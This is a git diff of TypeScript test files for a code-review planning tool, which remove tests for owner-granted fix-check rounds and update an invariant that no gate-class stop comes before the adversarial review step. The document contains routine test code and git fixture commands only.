});
- // GST-3562 A: a grant no longer replaces the read-only full review a round-2 fix gets (R51), so it changes nothing there or
- // after that review; only the one fix-check after a round-2 fix-check (GEVA-223, below) still answers a grant.
- test('a recorded grant after a round-2 full pass changes nothing: the fix gets the read-only full review, and a fix after it stops', () => {
- const g = { ...capStop, granted: 'a-feb4aba31633' };
- expect(nextStep(g)).toEqual(nextStep(capStop));
- expect(nextStep(g)).toMatchObject({ step: 'full', reason: expect.stringContaining('read-only final review (R51)') });
- expect(roles(planReview(base({ history: g })))).not.toContain('fix-check:fix-check:full');
- for (const o of [{ gate: true }, { gate: true, adversarialRan: true }, { fixedBlocking: false, fixedBelow: true, touchedGate: true }, { fullPasses: FULL_PASS_CAP + 1 }, { fullPasses: FULL_PASS_CAP + 1, gate: true, adversarialRan: true }, { priorFull: 1 }])
- expect([o, nextStep({ ...g, ...o })]).toEqual([o, nextStep({ ...capStop, ...o })]);
- expect(nextStep({ fullPasses: 1, last: 'fix-check', fixedBlocking: true, granted: 'a-1' }).step).toBe('stop');
- expect(nextStep({ ...g, blockingOpen: true }).step).toBe('stop');
- expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'fix-check', granted: 'a-1' }).step).toBe('done');
- expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'fix-check', fixedBlocking: true, granted: 'a-1' }).step).toBe('stop');
- });
- // Value: protects=a recorded grant gets its one fix-check when round 2 was itself a fix-check (GEVA-223), without restating
- // history as a full pass; fails_when=the planner prints stop despite the grant, runs a second granted fix-check, or grants
- // one with a blocker open; seam=nextStep; no_claim=the CLI's grant binding to the stop head
- test('a recorded grant after a round-2 fix-check runs its one fix-check, and never a second (GEVA-223)', () => {
- const h = { fullPasses: 1, last: 'fix-check', fixedBlocking: true, granted: 'a-a17f3fd0a47a', fixChecks: 1 } as const;
- expect(nextStep(h)).toMatchObject({ step: 'fix-check', reason: expect.stringContaining('a-a17f3fd0a47a') });
- expect(nextStep({ ...h, fixedBlocking: false, touchedGate: true }).step).toBe('fix-check');
- expect(nextStep({ ...h, gate: true }).step).toBe('voices');
- expect(nextStep({ ...h, gate: true, adversarialRan: true }).step).toBe('fix-check');
- for (const o of [{ fixChecks: 2 }, { fixChecks: undefined }, { blockingOpen: true }, { granted: undefined }, { fullPasses: FULL_PASS_CAP }]) expect([o, nextStep({ ...h, ...o }).step]).toEqual([o, 'stop']);
- });
- // Value: protects=after a fix-check, edits after the review bound (--post-review) with a new recorded grant plan one more fix-check,
- // the next link of finish's chain, in either panel and after Step 11 on gate class; without a grant, with a blocker open, or
- // outside --post-review it stays a stop; fails_when=the planner tells the lane to get a grant and then ignores it (GST-1676);
- // seam=nextStep; no_claim=the CLI's binding of the grant to a stop head after the last fix-check's commit
- test('a new grant after a fix-check plans the next chained fix-check for edits after the review bound (GST-1676)', () => {
- const h = { fullPasses: FULL_PASS_CAP, last: 'fix-check', touchedGate: true, fixedBelow: false, granted: 'a-060fed2b73ee', fixChecks: 2, postReview: true } as const;
- expect(nextStep(h)).toMatchObject({ step: 'fix-check', reason: expect.stringContaining('a-060fed2b73ee') });
- expect(nextStep({ ...h, lean: true }).step).toBe('fix-check');
- expect(nextStep({ ...h, fullPasses: 1, fixChecks: 1 }).step).toBe('fix-check');
- expect(nextStep({ ...h, gate: true }).step).toBe('voices');
- expect(nextStep({ ...h, gate: true, adversarialRan: true }).step).toBe('fix-check');
- for (const o of [{ granted: undefined }, { blockingOpen: true }, { postReview: false }, { postReview: undefined }]) expect([o, nextStep({ ...h, ...o }).step]).toEqual([o, 'stop']);
- expect(nextStep({ ...h, last: 'full', fullPasses: 1, fixedBelow: true }).step).toBe('full');
- });
- // Value: protects=in the loop, a grant the CLI bound to the last fix-check's own stop head (`chained`) plans one more fix-check
- // after any number of fix-checks (GEVA-363's third round), after Step 11 on gate class; without that binding a fix-check still
- // never earns another; fails_when=the planner prints stop for a new grant (GST-1681) or plans one for an unbound grant;
- // seam=nextStep; no_claim=the CLI's binding (test/review-plan-cli.test.ts)
- test('a new grant bound to the last fix-check\'s stop plans the next chained fix-check in the loop (GST-1681)', () => {
- const h = { fullPasses: 1, last: 'fix-check', fixedBlocking: true, granted: 'a-5214be46db1e', fixChecks: 2, chained: true } as const;
- expect(nextStep(h)).toMatchObject({ step: 'fix-check', reason: expect.stringContaining('a-5214be46db1e') });
- expect(nextStep({ ...h, lean: true }).step).toBe('fix-check');
- expect(nextStep({ ...h, fullPasses: FULL_PASS_CAP }).step).toBe('fix-check');
- expect(nextStep({ ...h, gate: true }).step).toBe('voices');
- expect(nextStep({ ...h, gate: true, adversarialRan: true }).step).toBe('fix-check');
- for (const o of [{ chained: false }, { chained: undefined }, { granted: undefined }, { blockingOpen: true }]) expect([o, nextStep({ ...h, ...o }).step]).toEqual([o, 'stop']);
- expect(nextStep({ ...h, fixedBlocking: false }).step).toBe('done');
- });
test('docs/review-policy.md\'s transitions table and rule 3 say both', () => {
const doc = fs.readFileSync(path.join(ROOT, 'docs', 'review-policy.md'), 'utf8');
- const table = doc.slice(doc.indexOf('<a id="transitions"></a>'), doc.indexOf('A **fix-check** is one reviewer'));
+ const table = doc.slice(doc.indexOf('<a id="transitions"></a>'), doc.indexOf('<a id="scoped-pass"></a>'));
expect(table).toContain("| a stop (any row above) on gate class before Step 11's voices ran | Step 11's voices (adversarial, outside, targeted), then ask again with `--adversarial-ran` |");
- expect(table).toContain('| the stop after a fix-check (granted before GST-3562) that was the run\'s only one, with the owner\'s recorded grant (`--grant <approval id>`) | one more scoped fix-check, after Step 11 on gate class, until a later release removes it; a grant after a round-2 full pass buys nothing, because the read-only full review replaces it |');
+ expect(table).not.toContain('granted before GST-3562');
const rule3 = doc.slice(doc.indexOf('3. **Two rounds is the cap**'), doc.indexOf('<a id="transitions"></a>')).replace(/\s+/g, ' ');
expect(rule3).toContain("The cap limits fix rounds, not Step 11's voices");
expect(rule3).toContain('/gstack-ship plans no fix-check (GST-3562 A)');
- expect(rule3).toContain('Owner grants of a fix-check');
- expect(rule3).toContain('are deprecated');
+ expect(rule3).toContain('Owner grants of a fix-check and round grants are gone (GST-3562 part 4)');
});
});
/**
* GST-967's safety property, as a permanent invariant over the transitions table (Captain, 2026-11-02: the invariant is the
* gate, a reader the second check). Every state: passes 0-3, each last step, every mix of the four fix flags, gate class or
- * not, Step 11 run or not, grant recorded or not.
+ * not, Step 11 run or not. Grants left the table in GST-3562 part 4.
*/
-describe('GST-967 invariant: no gate-class owner exit before Step 11\'s voices; a recorded grant always gets its fix-check', () => {
- // Value: protects=a gate-class plan never stops (the exit where the owner may ship with open notes) before Step 11's adversarial, outside and targeted voices ran, voices is planned only then and dispatches all three, and a recorded grant turns only the stop after the one round-2 fix-check (GEVA-223) into exactly one fix-check, after Step 11 on gate class, while changing nothing else, so it never repeats and never replaces GST-3562 A's read-only full review; fails_when=any state breaks one of those, so a later edit to nextStep cannot fail open;
+describe('GST-967 invariant: no gate-class owner exit before Step 11\'s voices', () => {
+ // Value: protects=a gate-class plan never stops (the exit where the owner may ship with open notes) before Step 11's adversarial, outside and targeted voices ran, and voices is planned only then and dispatches all three
// why_new=GST-967 (three earlier fixes failed open and a reviewer caught each after the fact); seam=nextStep, planReview; no_claim=the parent following NEXT
test('every state of the table holds the property', () => {
- let states = 0, voices = 0, grants = 0;
- for (const fullPasses of [0, 1, 2, 3]) for (const last of ['none', 'full', 'fix-check'] as const) for (let bits = 0; bits < 16; bits++)
+ let states = 0, voices = 0;
+ for (const fullPasses of [0, 1, 2, 3]) for (const last of ['none', 'full'] as const) for (let bits = 0; bits < 16; bits++)
for (const gate of [false, true]) for (const adversarialRan of [false, true]) {
const h = { fullPasses, last, fixedBlocking: !!(bits & 1), fixedBelow: !!(bits & 2), blockingOpen: !!(bits & 4), touchedGate: !!(bits & 8), gate, adversarialRan };
- for (const fixChecks of [0, 1]) {
- const plain = nextStep({ ...h, fixChecks }), granted = nextStep({ ...h, fixChecks, granted: 'a-1' });
- const ungatedStop = nextStep({ ...h, fixChecks, gate: false }).step === 'stop';
- states++;
- for (const n of [plain, granted]) {
- if (gate && !adversarialRan) expect(n.step).not.toBe('stop');
- if (n.step === 'voices') expect([gate, adversarialRan, ungatedStop]).toEqual([true, false, true]);
- }
- if (plain.step === 'voices') voices++;
- const owed = ungatedStop && !h.blockingOpen && last === 'fix-check' && fullPasses === FULL_PASS_CAP - 1 && fixChecks === 1 && (!gate || adversarialRan);
- if (owed) grants++;
- expect([granted.step === 'fix-check' && plain.step !== 'fix-check', granted.step === plain.step]).toEqual([owed, !owed]);
- if (owed) expect(granted.reason).toContain('a-1');
- }
+ const n = nextStep(h);
+ const ungatedStop = nextStep({ ...h, gate: false }).step === 'stop';
+ states++;
+ if (gate && !adversarialRan) expect(n.step).not.toBe('stop');
+ if (n.step === 'voices') { voices++; expect([gate, adversarialRan, ungatedStop]).toEqual([true, false, true]); }
}
- expect(states).toBe(4 * 3 * 16 * 2 * 2 * 2);
- expect([voices > 0, grants > 0]).toEqual([true, true]);
+ expect(states).toBe(4 * 2 * 16 * 2 * 2);
+ expect(voices > 0).toBe(true);
const gatePlan = (o: Partial<PlanInput>) => planReview(base({ gateTagged: 1, targeted: { classes: ['gate'] }, ...o }));
- for (const fullPasses of [1, 2]) for (const last of ['full', 'fix-check'] as const) for (let bits = 0; bits < 16; bits++) {
- const p = gatePlan({ history: { fullPasses, last, fixedBlocking: !!(bits & 1), fixedBelow: !!(bits & 2), blockingOpen: !!(bits & 4), touchedGate: !!(bits & 8), granted: bits & 1 ? 'a-1' : undefined } });
+ for (const fullPasses of [1, 2]) for (let bits = 0; bits < 16; bits++) {
+ const p = gatePlan({ history: { fullPasses, last: 'full', fixedBlocking: !!(bits & 1), fixedBelow: !!(bits & 2), blockingOpen: !!(bits & 4), touchedGate: !!(bits & 8) } });
expect(p.next.step).not.toBe('stop');
if (p.next.step === 'voices') expect(p.dispatches.map(d => d.role)).toEqual(['adversarial-native', 'outside-voice', 'targeted']);
}
@@ -249,9 +179,10 @@ const R51_CASES = 28;
* grid case with main's transition table at 0408128, checks that every case the branch changes is an allowed kind, and reads it
* back as main's plan before the GST-3187 and R51 adapters run. On this grid: (a) 20 fix-checks become a full pass on the
* range, (d) 10 cases main left done with an unread below-floor fix get their review, and (e) 60 stops (or voices before a stop)
- * on a blocker fixed or a gate edit at the cap become one read-only full review of the final head.
+ * on a blocker fixed or a gate edit at the cap become one read-only full review of the final head; (h) the 480 cases whose last
+ * step was a fix-check are histories gstack-review-plan no longer accepts (GST-3562 part 4) and read back as main's plan.
*/
-const GST3562_967_CASES = { a: 20, d: 10, e: 60 };
+const GST3562_967_CASES = { a: 20, d: 10, e: 60, h: 480 };
const MAIN_SECTIONS = '0608589f33d7cc47f27ccf98538d1c76edc1a475075b419de12c76ba9c433518';
describe('GST-967 dispatch-superset no-loss check', () => {
// Value: protects=the no-loss rule for review-depth changes: GST-967 drops, renames and re-efforts no reviewer main dispatches on any grid case, changes no brief body, and GST-3562 A changes only the kinds its replay allows; fails_when=a non-stop plan changes outside those kinds, a voices step appears off gate class or after Step 11, it dispatches anything but the three voices, or a brief body moves;
@@ -332,9 +263,10 @@ const MAIN_972_PLANS = '798e56faf8a44c182b77e1638b9a80c554a5d727bb56a84786b1c115
* merge. A replaces narrow re-checks with full rounds…"): both grids, the real paths (0) and the stand-ins (1), go through
* asMainBeforeGst3562 first, which checks each changed step is an allowed kind and plans it with main's table at 0408128, so this
* check still compares only the GST-972 class and depth moves. Per grid: (a) 16 fix-checks become a full pass on the range,
- * (d) 8 unread below-floor fixes get their review, (e) 48 cap stops become one read-only full review.
+ * (d) 8 unread below-floor fixes get their review, (e) 48 cap stops become one read-only full review, (h) 384 fix-check histories
+ * are retired inputs (GST-3562 part 4).
*/
-const GST3562_972_CASES = { '0:a': 16, '0:d': 8, '0:e': 48, '1:a': 16, '1:d': 8, '1:e': 48 };
+const GST3562_972_CASES = { '0:a': 16, '0:d': 8, '0:e': 48, '0:h': 384, '1:a': 16, '1:d': 8, '1:e': 48, '1:h': 384 };
describe('GST-972 follow-up no-loss check', () => {
// Value: protects=the no-loss rule for review-depth changes: the GST-972 follow-up drops no reviewer main dispatched and lowers no class, depth or effort beyond the named Red Team split; fails_when=a stand-in stops matching main's plans, a reader disappears, a class or depth falls, or an effort falls anywhere else;
// why_new=GST-972 follow-up; seam=planReview; no_claim=what the added readers find (they only add coverage)
diff --git a/test/review-pass-program-steps.test.ts b/test/review-pass-program-steps.test.ts
index 95d26d9bd..3ea93c534 100644
--- a/test/review-pass-program-steps.test.ts
+++ b/test/review-pass-program-steps.test.ts
@@ -121,45 +121,7 @@ describe('Capy pass program (fake host, real bins)', () => {
}
}, 240_000);
- test('decision 3.5 runs in the program: one fix-check reader whose prompt is the render CLI brief byte for byte, sent and collected', async () => {
- const { dir, env } = repo();
- const out = path.join(dir, '.state/run/fc');
- const files = path.join(dir, '.state/fc');
- fs.mkdirSync(files, { recursive: true });
- const fc: Record<string, string> = {};
- for (const [k, v] of [['fix_list', '1. src/a.ts: guard v80\n'], ['hunks', 'diff --git a/src/a.ts b/src/a.ts\n+export const v81 = 81;\n'], ['tests', 'bun test: 3 pass, 0 fail\n'], ['callers', 'none\n']]) { fc[k] = path.join(files, k + '.txt'); fs.writeFileSync(fc[k]!, v!); }
- const planFlags = legacyGrantFlags(dir, env);
- const missing = await runPass(host(dir, env), { base: 'main', out: path.join(dir, '.state/run/fc0'), pass: 'x19fc0', planFlags });
- expect(missing).toContain('STOP: gstack-review-dispatch pass exited');
- expect(missing).toContain('the plan dispatches a fix-check: pass needs --fix-list, --hunks and --tests');
- const h = host(dir, env);
- const res = await runPass(h, { base: 'main', out, pass: 'x19fc', planFlags, fixCheck: fc, logStart: ['review-fix-check'] });
- expect(res).toMatch(/REVIEW_LOG_START: review-fix-check token=\S+/);
- expect(res).toContain('NEXT: judge (Phase 4)');
- expect(h.creates.map(c => c.title)).toEqual(['ship x19fc fix-check']);
- const cli = bin(dir, env, ['render', '--role', 'fix-check', '--out', path.join(dir, '.state/cli'), '--fix-list', fc.fix_list!, '--hunks', fc.hunks!, '--tests', fc.tests!, '--callers', fc.callers!]);
- expect(cli.status).toBe(0);
- expect(h.creates[0]!.prompt).toBe(fs.readFileSync(path.join(dir, '.state/cli/fix-check.prompt.md'), 'utf8'));
- expect(h.creates[0]!.prompt).toContain('You are the fix-check reviewer');
- const v = bin(dir, env, ['verify', '--ledger', path.join(out, 'review-ledger.jsonl')]).stdout;
- expect(v).toMatch(/^BRIEF fix-check MATCH rendered=(\w+) sent=\1$/m);
- expect(v).toMatch(/^OUTPUT fix-check MATCH /m);
- }, 240_000);
- // Value: protects=decision 3.5's fix-check takes a review-fix-check start token even when the parent passes the Capy skill's
- // logStart ["review"], so its row is never a pass and a review_loop_exception can follow it; fails_when=the fix-check pass logs a
- // review start; why_new=ggstack#52 (GST-1031): a scoped fix-check logged as review counted as a second pass; seam=the pass program;
- // no_claim=what the parent writes in the row
- test('a fix-check pass given logStart ["review"] takes the review-fix-check start', async () => {
- const { dir, env } = repo();
- const files = path.join(dir, '.state/fc');
- fs.mkdirSync(files, { recursive: true });
- const fc: Record<string, string> = {};
- for (const [k, v] of [['fix_list', '1. src/a.ts: guard v80\n'], ['hunks', 'diff --git a/src/a.ts b/src/a.ts\n+export const v81 = 81;\n'], ['tests', 'bun test: 3 pass, 0 fail\n']]) { fc[k] = path.join(files, k + '.txt'); fs.writeFileSync(fc[k]!, v!); }
- const res = await runPass(host(dir, env), { base: 'main', out: path.join(dir, '.state/run/fcr'), pass: 'x52fc', planFlags: legacyGrantFlags(dir, env), fixCheck: fc, logStart: ['review'] });
- expect(res).toMatch(/REVIEW_LOG_START: review-fix-check token=\S+/);
- expect(res).not.toMatch(/REVIEW_LOG_START: review token=/);
- }, 240_000);
test('Step 11 records one start per row it logs, even when two rows share a skill (native and outside adversarial-review)', async () => {
const { dir, env } = repo();
@@ -195,25 +157,6 @@ describe('Capy pass program (fake host, real bins)', () => {
expect(h.creates.find(c => c.title === 'ship x21p2 red-team')!.prompt).toContain('DIFF_BASE=' + rangeBase);
}, 240_000);
- // Value: protects=the pass program dispatches the owner's granted fix-check from the plan, as decision 3.5 runs any fix-check, instead of PASS: none; fails_when=a recorded grant still prints PASS: none next=stop and the lane renders, sends and collects the fix-check by hand (C6-36 after-opus-grant);
- // why_new=GST-967; seam=the pass program; no_claim=the fix-check reviewer's verdict
- test('GST-967: a recorded grant after the round-2 fix-check runs its one scoped fix-check through the program (GST-3562 A: a grant after a round-2 full pass buys none)', async () => {
- const { dir, env } = repo();
- const head = spawnSync('git', ['rev-parse', 'HEAD'], { cwd: dir, encoding: 'utf8', timeout: 10_000 }).stdout.trim();
- const add = spawnSync(path.join(BIN, 'gstack-approvals'), ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${head.slice(0, 12)})`, '--words', 'one scoped fix-check after round 2', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: dir, env: { ...env, GSTACK_APPROVALS_MIRROR: '0' }, encoding: 'utf8', timeout: 60_000 });
- expect(add.status, add.stderr).toBe(0);
- const id = JSON.parse(add.stdout).added[0] as string;
- const files = path.join(dir, '.state/gfc');
- fs.mkdirSync(files, { recursive: true });
- const fc: Record<string, string> = {};
- for (const [k, v] of [['fix_list', '1. src/a.ts: guard v80\n'], ['hunks', 'diff --git a/src/a.ts b/src/a.ts\n+export const v81 = 81;\n'], ['tests', 'bun test: 3 pass, 0 fail\n'], ['callers', 'none\n']]) { fc[k] = path.join(files, k + '.txt'); fs.writeFileSync(fc[k]!, v!); }
- const h = host(dir, env);
- const res = await runPass(h, { base: 'main', out: path.join(dir, '.state/run/gfc'), pass: 'x30gfc', planFlags: ['--pass', '1', '--last', 'fix-check', '--fix-checks', '1', '--fixed-blocking', '--range-base', head, '--grant', id], fixCheck: fc, logStart: ['review-fix-check'] });
- expect(res).not.toContain('PASS: none');
- expect(res).toContain(`NEXT: fix-check (the owner's grant ${id}`);
- expect(h.creates.map(c => c.title)).toEqual(['ship x30gfc fix-check']);
- expect(res).toContain('NEXT: judge (Phase 4)');
- }, 240_000);
// Value: protects=the Capy pass program runs the full round 2 that replaced the scoped pass with no fix-check files, plans no fix-check and dispatches the Red Team in the manifest (GST-3562 part 3); fails_when=the program stops the round for missing files, plans a fix-check, or leaves the Red Team out;
// why_new=#3670 Step 11 (adversarial 1, red team 1), re-scoped to GST-3562 part 3's full round 2; seam=none; no_claim=what the readers find
diff --git a/test/review-pass.test.ts b/test/review-pass.test.ts
index fcbc9a5d7..687dcd955 100644
--- a/test/review-pass.test.ts
+++ b/test/review-pass.test.ts
@@ -155,7 +155,7 @@ describe('the targeted-only read in the Capy pass program (GST-1598, GST-1607)',
const ran = JSON.parse(plan.stdout).targeted.targeted_patch_id as string;
sh("mkdir -p changelog.d && echo '- Each PR eval run now costs about $4.20.' > changelog.d/cost.md && git add -A && git commit -qm claim");
const h = host(dir, env);
- const res = await runPass(h, { base: 'main', out: path.join(dir, '.state/run/p1'), pass: 'td1p1', planFlags: ['--gate-tagged', '0', '--pass', '1', '--last', 'fix-check', '--fixed-below', '--range-base', read, '--targeted-ran', ran] });
+ const res = await runPass(h, { base: 'main', out: path.join(dir, '.state/run/p1'), pass: 'td1p1', planFlags: ['--gate-tagged', '0', '--pass', '2', '--last', 'full', '--range-base', read, '--targeted-ran', ran] });
expect(res).toContain('NEXT: targeted');
expect(h.creates.map(c => c.title)).toEqual(['ship td1p1 targeted']);
expect(res).toContain('NEXT: judge');
diff --git a/test/review-plan-cli.test.ts b/test/review-plan-cli.test.ts
index 48350bbd4..32f34ae06 100644
--- a/test/review-plan-cli.test.ts
+++ b/test/review-plan-cli.test.ts
@@ -117,181 +117,6 @@ describe('gstack-review-plan', () => {
expect(r.stdout).toContain('DISPATCH: adversarial-native adversarial effort=full');
expect(r.stdout).not.toContain('DISPATCH: fix-check');
});
- // Value: protects=the CLI the ship loop calls after a fix-check prints NEXT: done when the fix-check was clean and only below-floor fixes came before it; fails_when=`--last fix-check --fixed-below` prints NEXT: stop with a blocking-finding reason (GSTA-167 replay 8G on #34);
- // why_new=no CLI case covered --last fix-check; seam=bin/gstack-review-plan (lib/review-depth.ts stays at its no-loss pin); no_claim=the fix-check reviewer's verdict
- test('a clean fix-check after below-floor fixes prints NEXT: done', () => {
- const r = run(repo({ 'src/a.ts': 'export const a = 1;\n' }), ['--pass', '1', '--last', 'fix-check', '--fixed-below']);
- expect(r.status).toBe(0);
- expect(r.stdout).toContain('NEXT: done');
- expect(r.stdout).not.toContain('NEXT: stop');
- expect(run(repo({ 'src/a.ts': 'export const a = 1;\n' }), ['--pass', '1', '--last', 'fix-check', '--fixed-below', '--blocking-open']).stdout).toContain('NEXT: stop');
- });
- // Value: protects=a grant the owner recorded with gstack-approvals is something the plan can use, once, in the invocation it answers: --grant <id> plans the one scoped fix-check after a round-2 full pass when the row names review_loop_grant and the stop head (at or after --range-base, at or before HEAD); the fix-check never earns another; an unrecorded id, an unrelated approval, a review_loop_exception acceptance row, or a grant for an earlier head is refused; fails_when=the CLI ignores the grant and prints NEXT: stop (C6-36 after-opus-grant), accepts any of those rows, or grants a second fix-check;
- // why_new=GST-967 (round-2 red team: a grant from an earlier /ship on the branch could be reused); seam=bin/gstack-review-plan; no_claim=who may grant (the owner's words are the approval record's)
- test('GST-967: --grant <id> plans the one scoped fix-check for the stop head it names; any other row, or a grant for an earlier head, is refused', () => {
- const r = repo({ 'src/a.ts': 'export const a = 1;\n' });
- const env: NodeJS.ProcessEnv = { ...process.env, GSTACK_STATE_ROOT: r.state, GSTACK_APPROVALS_MIRROR: '0' };
- delete env.GSTACK_APPROVALS_DIR;
- const git = (...a: string[]) => spawnSync('git', a, { cwd: r.dir, encoding: 'utf8', timeout: 10_000 }).stdout.trim();
- const commit = (n: number) => { fs.appendFileSync(path.join(r.dir, 'src/a.ts'), `export const v${n} = ${n};\n`); git('commit', '-qam', `c${n}`); return git('rev-parse', 'HEAD'); };
- const stale = git('rev-parse', 'HEAD');
- const passHead = commit(1);
- const stopHead = commit(2);
- const add = (ask: string) => {
- const a = spawnSync(path.join(path.dirname(BIN), 'gstack-approvals'), ['add', '--ask', ask, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- expect(a.status, a.stderr).toBe(0);
- return JSON.parse(a.stdout).added[0] as string;
- };
- const id = add(`Owner grant: one scoped fix-check after round 2 (review_loop_grant ${stopHead.slice(0, 12)})`);
- const refusedIds = [add(`Owner grant from an earlier run (review_loop_grant ${stale.slice(0, 12)})`), add('Owner grant: one scoped fix-check (review_loop_grant)'),
- add(`Owner accepts the stop after the fix-check (review_loop_exception ${stopHead.slice(0, 12)})`), add('Approve the plan for the README rewrite'), 'a-000000000000'];
- const plan = (a: string[]) => spawnSync(BIN, ['--base', 'main', '--gate-tagged', '0', ...a], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- const capStop = ['--pass', '2', '--last', 'full', '--fixed-blocking', '--range-base', passHead];
- expect(plan(capStop).stdout).toContain('NEXT: full (read-only final review (R51)');
- const granted = plan([...capStop, '--grant', id]);
- expect(granted.status, granted.stderr).toBe(0);
- expect(granted.stdout).toContain('NEXT: full (read-only final review (R51)');
- expect(granted.stdout).not.toContain('DISPATCH: fix-check');
- const afterFixCheck = ['--pass', '1', '--last', 'fix-check', '--fix-checks', '1', '--fixed-blocking', '--range-base', passHead];
- expect(plan([...afterFixCheck, '--grant', id]).stdout).toContain(`NEXT: fix-check (the owner's grant ${id}`);
- expect(plan([...afterFixCheck, '--grant', id]).stdout).toContain('DISPATCH: fix-check fix-check effort=full');
- commit(3);
- expect(plan([...afterFixCheck, '--grant', id]).stdout).toContain(`NEXT: fix-check (the owner's grant ${id}`);
- expect(plan(['--pass', '2', '--last', 'fix-check', '--fixed-blocking', '--range-base', passHead, '--grant', id]).stdout).toContain('NEXT: stop');
- for (const other of refusedIds) {
- const refused = plan([...afterFixCheck, '--grant', other]);
- expect([other, refused.status, refused.stdout]).toEqual([other, 3, '']);
- expect(refused.stderr).toContain(`--grant ${other}`);
- }
- expect(plan([...capStop.slice(0, -2), '--grant', id]).status).toBe(2);
- expect(plan([...capStop, '--grant', '--json']).status).toBe(2);
- }, 30_000);
- // Value: protects=a granted fix-check chain after the review bound is planned, not hand-rendered: once a fix-check ran and /ship
- // Step 16 finds later edits, --post-review --last fix-check with a new grant at a stop head after --range-base (the last
- // fix-check's commit) plans one more fix-check; the last link's grant (naming its own commit, the new range_base) is refused,
- // no grant or an open blocker stops, and outside --post-review a fix-check still never earns another;
- // fails_when=the planner prints stop despite the new grant (GST-1676, founderstar#634) or lets the previous link's grant buy
- // the next link; seam=bin/gstack-review-plan, nextStep; no_claim=finish's chain count (test/ship-finish-ruled-notes.test.ts)
- test('GST-1676: --post-review after a fix-check plans the next chained fix-check for a new grant, never for the last link\'s', () => {
- const r = repo({ 'src/a.ts': 'export const a = 1;\n' });
- const env: NodeJS.ProcessEnv = { ...process.env, GSTACK_STATE_ROOT: r.state, GSTACK_APPROVALS_MIRROR: '0' };
- delete env.GSTACK_APPROVALS_DIR;
- const git = (...a: string[]) => spawnSync('git', a, { cwd: r.dir, encoding: 'utf8', timeout: 10_000 }).stdout.trim();
- const commit = (n: number) => { fs.appendFileSync(path.join(r.dir, 'src/a.ts'), `export const v${n} = ${n};\n`); git('commit', '-qam', `c${n}`); return git('rev-parse', 'HEAD'); };
- const add = (stop: string, n: string) => {
- const a = spawnSync(path.join(path.dirname(BIN), 'gstack-approvals'), ['add', '--ask', `Owner grant: scoped fix-check ${n} (review_loop_grant ${stop.slice(0, 12)})`, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- expect(a.status, a.stderr).toBe(0);
- return JSON.parse(a.stdout).added[0] as string;
- };
- commit(1);
- const link1 = commit(2);
- const g1 = add(link1, 'fc1');
- const link2 = commit(3);
- const g2 = add(link2, 'fc2');
- const plan = (a: string[]) => spawnSync(BIN, ['--base', 'main', '--gate-tagged', '0', '--pass', '2', '--last', 'fix-check', '--fix-checks', '2', '--range-base', link1, ...a], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- const chained = plan(['--post-review', '--grant', g2]);
- expect(chained.status, chained.stderr).toBe(0);
- expect(chained.stdout).toContain(`NEXT: fix-check (edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path, never a note: the owner's grant ${g2} adds one scoped fix-check for the edits after the last fix-check, a new link of the fix-check chain`);
- expect(chained.stdout).toContain('DISPATCH: fix-check fix-check effort=full');
- expect(plan(['--post-review']).stdout).toContain('NEXT: stop');
- expect(plan(['--post-review', '--grant', g2, '--blocking-open']).stdout).toContain('NEXT: stop');
- expect(plan(['--fixed-blocking', '--grant', g2]).stdout).toContain('NEXT: stop');
- const reused = plan(['--post-review', '--grant', g1]);
- expect([reused.status, reused.stdout]).toEqual([3, '']);
- expect(reused.stderr).toContain(`--grant ${g1}: no approved row ${g1} naming review_loop_grant and this invocation's stop head (a commit after --range-base ${link1}, the last fix-check's commit`);
- }, 30_000);
- // Value: protects=a Captain's grant for a third fix round past a fix-check is planned, not hand-rendered: GEVA-363 (gstack-evals#254)
- // ran pass 1 full, fc1 (round 2), fc2 under a grant at fc1's stop, then the owner granted a third round at fc2's stop head (its
- // commit, the new --range-base); the in-loop Step 9 plans that one fix-check; the previous link's grant, a grant at another
- // commit, no grant or an open blocker do not; GBRA-336's --post-review --last fix-check --fix-checks 2 --grant invocation plans
- // with a grant after --range-base (GST-1676); fails_when=the planner prints stop despite the new grant (GEVA-363: the lane
- // hand-ran fc3 on a fix-range token finish could not count) or lets fc2's grant buy fc3; seam=bin/gstack-review-plan, nextStep;
- // no_claim=finish's chain count (test/ship-finish-ruled-notes.test.ts)
- test('GST-1681: in the loop, a new grant at the last fix-check\'s stop head plans one more fix-check, never for the previous grant', () => {
- const r = repo({ 'src/a.ts': 'export const a = 1;\n' });
- const env: NodeJS.ProcessEnv = { ...process.env, GSTACK_STATE_ROOT: r.state, GSTACK_APPROVALS_MIRROR: '0' };
- delete env.GSTACK_APPROVALS_DIR;
- const git = (...a: string[]) => spawnSync('git', a, { cwd: r.dir, encoding: 'utf8', timeout: 10_000 }).stdout.trim();
- const commit = (n: number) => { fs.appendFileSync(path.join(r.dir, 'src/a.ts'), `export const v${n} = ${n};\n`); git('commit', '-qam', `c${n}`); return git('rev-parse', 'HEAD'); };
- const add = (stop: string, n: string) => {
- const a = spawnSync(path.join(path.dirname(BIN), 'gstack-approvals'), ['add', '--ask', `Owner grant: scoped fix-check ${n} (review_loop_grant ${stop.slice(0, 12)})`, '--words', 'do it', '--by', 'GStack Minder', '--scope', 'this /ship invocation', '--json'], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- expect(a.status, a.stderr).toBe(0);
- return JSON.parse(a.stdout).added[0] as string;
- };
- const fc1 = commit(1);
- const g1 = add(fc1, 'fc2');
- const fc2 = commit(2);
- const g2 = add(fc2, 'fc3');
- const later = commit(3);
- const g3 = add(later, 'at the fix');
- const plan = (a: string[]) => spawnSync(BIN, ['--base', 'main', '--gate-tagged', '0', '--pass', '1', '--last', 'fix-check', '--fix-checks', '2', '--range-base', fc2, ...a], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env });
- const third = plan(['--fixed-blocking', '--grant', g2]);
- expect(third.status, third.stderr).toBe(0);
